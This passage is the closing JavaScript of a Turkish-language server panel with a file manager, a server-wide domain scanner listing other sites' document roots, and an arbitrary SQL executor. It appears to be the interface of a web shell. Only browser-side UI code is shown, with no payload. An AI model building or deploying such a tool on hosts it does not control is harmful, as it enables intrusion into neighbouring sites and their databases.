                showAlert(data.count + ' domain bulundu! (Panel: ' + data.panel + ')', 'success');

                // Kisitlama uyarisi goster
                if (data.restrictions && data.restrictions.length > 0) {
                    var warnHtml = '<div class="alert alert-warning" style="margin-top:10px;"><span>&#9888;</span><div><strong>Kisitlamalar tespit edildi (bazi domainler bulunamayabilir):</strong><ul style="margin:5px 0 0 15px;">';
                    data.restrictions.forEach(function(r) { warnHtml += '<li>' + escapeHtml(r) + '</li>'; });
                    warnHtml += '</ul></div></div>';
                    document.getElementById('domain-stats').innerHTML += warnHtml;
                }
            } else {
                showAlert('Domain tarama basarisiz.', 'error');
            }
        })
        .catch(function(err) {
            document.getElementById('domain-loading').classList.remove('active');
            btn.disabled = false;
            btn.innerHTML = '<span>&#128269;</span> Domainleri Tara';
            showAlert('Hata: ' + err.message, 'error');
        });
    }

    function renderDomains(domains) {
        var html = '';
        if (domains.length === 0) {
            html = '<div class="alert alert-warning"><span>&#9888;</span><div>Hicbir domain bulunamadi.</div></div>';
        } else {
            domains.forEach(function(d, i) {
                var badgeClass = 'badge-other';
                var p = d.panel.toLowerCase();
                if (p.indexOf('plesk') !== -1) badgeClass = 'badge-plesk';
                else if (p.indexOf('cpanel') !== -1) badgeClass = 'badge-cpanel';
                else if (p.indexOf('directadmin') !== -1) badgeClass = 'badge-directadmin';
                else if (p.indexOf('nginx') !== -1) badgeClass = 'badge-nginx';
                else if (p.indexOf('apache') !== -1) badgeClass = 'badge-apache';

                html += '<div class="domain-card" data-domain="' + d.domain.toLowerCase() + '">';
                html += '  <div class="domain-info">';
                html += '    <div class="domain-name">' + (i + 1) + '. ' + escapeHtml(d.domain) + '</div>';
                html += '    <div class="domain-path">' + escapeHtml(d.document_root) + '</div>';
                html += '    <span class="domain-badge ' + badgeClass + '">' + escapeHtml(d.panel) + '</span>';
                if (!d.exists) {
                    html += ' <span class="domain-badge badge-other">Dizin Yok</span>';
                }
                html += '  </div>';
                html += '  <div class="domain-actions">';
                html += '    <button class="btn btn-info btn-sm" onclick="window.open(\'http://' + escapeHtml(d.domain) + '\', \'_blank\')" title="Tarayicida Ac">';
                html += '      &#127760; Tarayicida Ac';
                html += '    </button>';
                html += '    <button class="btn btn-success btn-sm" onclick="window.open(\'https://' + escapeHtml(d.domain) + '\', \'_blank\')" title="HTTPS ile Ac">';
                html += '      &#128274; HTTPS';
                html += '    </button>';
                if (d.exists) {
                    html += '    <button class="btn btn-primary btn-sm" onclick="goToDocRoot(\'' + escapeHtml(d.document_root) + '\')" title="Dizine Git">';
                    html += '      &#128193; Dizine Git';
                    html += '    </button>';
                }
                html += '  </div>';
                html += '</div>';
            });
        }
        document.getElementById('domain-list').innerHTML = html;
    }

    function filterDomains() {
        var query = document.getElementById('domain-search').value.toLowerCase();
        if (!query) {
            renderDomains(allDomains);
            return;
        }
        var filtered = allDomains.filter(function(d) {
            return d.domain.toLowerCase().indexOf(query) !== -1 || d.document_root.toLowerCase().indexOf(query) !== -1;
        });
        renderDomains(filtered);
    }

    function goToDocRoot(path) {
        // Switch to file manager tab first
        document.querySelectorAll('.tab-content').forEach(function(tab) { tab.classList.remove('active'); });
        document.querySelectorAll('.tab-btn').forEach(function(b) { b.classList.remove('active'); });
        document.getElementById('file-manager').classList.add('active');
        document.querySelector('.tab-btn').classList.add('active');

        // Navigate to directory
        location.href = '?dir=' + encodeURIComponent(path);
    }

    function escapeHtml(str) {
        var div = document.createElement('div');
        div.appendChild(document.createTextNode(str));
        return div.innerHTML;
    }

    // ==================== DATABASE MANAGER ====================
    function executeSQL(event) {
        event.preventDefault();
        var formData = new FormData(event.target);
        formData.append('action', 'execute_sql');

        document.getElementById('db-loading').classList.add('active');
        document.getElementById('db-result').style.display = 'none';

        fetch('', {method: 'POST', body: formData})
        .then(function(r) { return r.json(); })
        .then(function(data) {
            document.getElementById('db-loading').classList.remove('active');
            var resultDiv = document.getElementById('db-result');
            resultDiv.style.display = 'block';
            if (data.status) {
                resultDiv.innerHTML = data.html;
                showAlert('SQL sorgusu basariyla calistirildi!', 'success');
            } else {
                resultDiv.innerHTML = '<div class="result-item result-error">' + data.message + '</div>';
                showAlert(data.message, 'error');
            }
        })
        .catch(function(err) {
            document.getElementById('db-loading').classList.remove('active');
            showAlert('Hata: ' + err.message, 'error');
        });
    }

    // ==================== KEYBOARD SHORTCUTS ====================
    document.addEventListener('keydown', function(e) {
        if ((e.ctrlKey || e.metaKey) && e.key === 's') {
            var editModal = document.getElementById('editFileModal');
            if (editModal.classList.contains('active')) {
                e.preventDefault();
                document.getElementById('editFileForm').dispatchEvent(new Event('submit'));
            }
        }
        if (e.key === 'Escape') {
            document.querySelectorAll('.modal.active').forEach(function(modal) {
                modal.classList.remove('active');
            });
        }
    });

    // Tab support in textarea
    document.addEventListener('keydown', function(e) {
        if (e.key === 'Tab' && e.target.tagName === 'TEXTAREA') {
            e.preventDefault();
            var start = e.target.selectionStart;
            var end = e.target.selectionEnd;
            e.target.value = e.target.value.substring(0, start) + '    ' + e.target.value.substring(end);
            e.target.selectionStart = e.target.selectionEnd = start + 4;
        }
    });

    // Enter on dir-input
    document.getElementById('dir-input').addEventListener('keydown', function(e) {
        if (e.key === 'Enter') { e.preventDefault(); changeDirectory(); }
    });
</script>
</body>
</html>